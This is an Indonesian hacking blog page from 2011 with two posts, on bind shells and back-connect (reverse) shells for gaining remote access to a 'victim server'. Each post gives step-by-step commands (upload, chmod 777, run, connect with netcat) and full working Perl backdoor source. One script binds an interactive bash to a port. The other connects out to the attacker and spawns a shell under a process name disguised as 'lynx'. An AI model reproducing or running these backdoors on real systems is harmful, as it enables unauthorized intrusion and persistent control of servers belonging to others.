Tampilkan postingan dengan label BackDoor. Tampilkan semua postingan
Tampilkan postingan dengan label BackDoor. Tampilkan semua postingan

Kamis, 20 Januari 2011

[BackDoor] BindShell

Apa itu Bindshell ?
Bindshell adalah membuka port diserver korban untuk melakukan koneksi jarak jauh.
Biasanya bindshell dilakukan dengan menggunakan aplikasi backdoor host pada shell atau juga bisa menggunakan script bindshell seperti script perl, c, dll.

Bagaimana Melakukan Bindshell ?
Disini saya menjelaskan dengan 2 cara yaitu dengan shell dan script.

# install port menggunakan shell
Kalau menggunakan shell, tinggal kalian cari aplikasi backdoor host yang sudah tersedia dishell. misal dilocus, tinggal klik backdoor host terus install portnya (contoh port: 5992)
setelah sukses terinstall. Maka buka Netcat anda dicommand prompt.
ketik: nc -vv [ip_server_korban] [port]

# Install port menggunakan script
Jika menggunakan script. contoh script bindshell perl maka, upload dulu script perl tersebut didirectory yg write. misal didirektori tmp. stelah diupload ubah permissionnya menjadi 777 dengan menggunakan perintah: chmod 777 namascript.pl

Setelah itu, jalankan script tersebut dengan perintah:
command: perl namascript.pl port
contoh: perl namascript.pl 5992

Jika sudah diisntall, buka netcat anda. kemudian ketik:
command: nc -vv ip_korban port
contoh: nc -vv 192.168.202.4 5992

Script perl bindshell:
Code:
#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); } $LISTEN_PORT=$ARGV[0]; use Socket; $protocol=getprotobyname('tcp'); socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; listen(S,3) || die "Cant listen port\n"; while(1) { accept(CONN,S); if(!($pid=fork)) { die "Cannot fork" if (!defined $pid); open STDIN,"<&CONN"; open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
Sumber
Always With US BeaCheater

[BackDoor] BackConnect

[Backdoor] Backconnect

Kalau dithread sebelumnya bindshell adalah melakukan koneksi ke server korban dengan membuka port diserver. Maka backconnect beda. ingin tau kelanjutannya simak thread berikut.

Apa itu backconnect ?
Backconnect biasanya digunakan untuk server yg tertutup proxy atau firewall. sehingga tidak bisa di lakukan remote connect. Jadi salah satu triknya adalah membalik koneksi, yaitu mengkoneksikan dari server ke komputer kita.

Apa perbedaannya sama bindshell ?
bedanya, kalo backconnect adalah melakukan koneksi balik dari shell, ke komputer kita, jadi dikomputer kita diset Listening port.

Bagaimana cara penggunaannya ?
cara penggunanya hampir sama dengan bindshell cuma dibalik.

* BackConnect Lewat Shell
Yang harus dilakukan terlebih dahulu adalah upload script backconnectnya. disini saya menggunakan script perl untuk backconnect punyanya om ArRay.

1. Set mode listening dulu dinetcat anda:

ex: nc -vlp portnya
jadi: nc -vlp 13123

akan muncul tulisan: listening on [any] 13123 ...

2. Setelah itu upload script bindshell.pl nya dishell anda. kemudian ubah permissionnya menjadi 777. chmod 777 bindshell.pl

3. Jalankan perintah berikut dishell:

ex: perl bindshell.pl [ip_anda] [port]
jadi: perl bindshell.pl 192.168.202.4 13123

tunggulah beberapa saat, jika sudah connect ke kompi anda. maka selamat anda berhasil melakukan back-connect.

Script bindshell.pl nya:
Code:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
* Kendala yang sering terjadi yang mengakibatkan tidak bisa backconnect ke Kompie
Jadi begini ceritanya. misalkan anda sudah melakukan back-connect dengan berbagai cara tidak ada yang berhasil. maka kemungkinan kendala yang terjadi adalah sang admin/empunya server menutup fungsi Listening. (lock) jadi, dapat mengakibatkan gagal koneksi balik ke komputer kita. sehingga mendapatkan error connection refused/NOTSOCK dinetcat. CMIIW

Sumber:
Always With US BeaCheater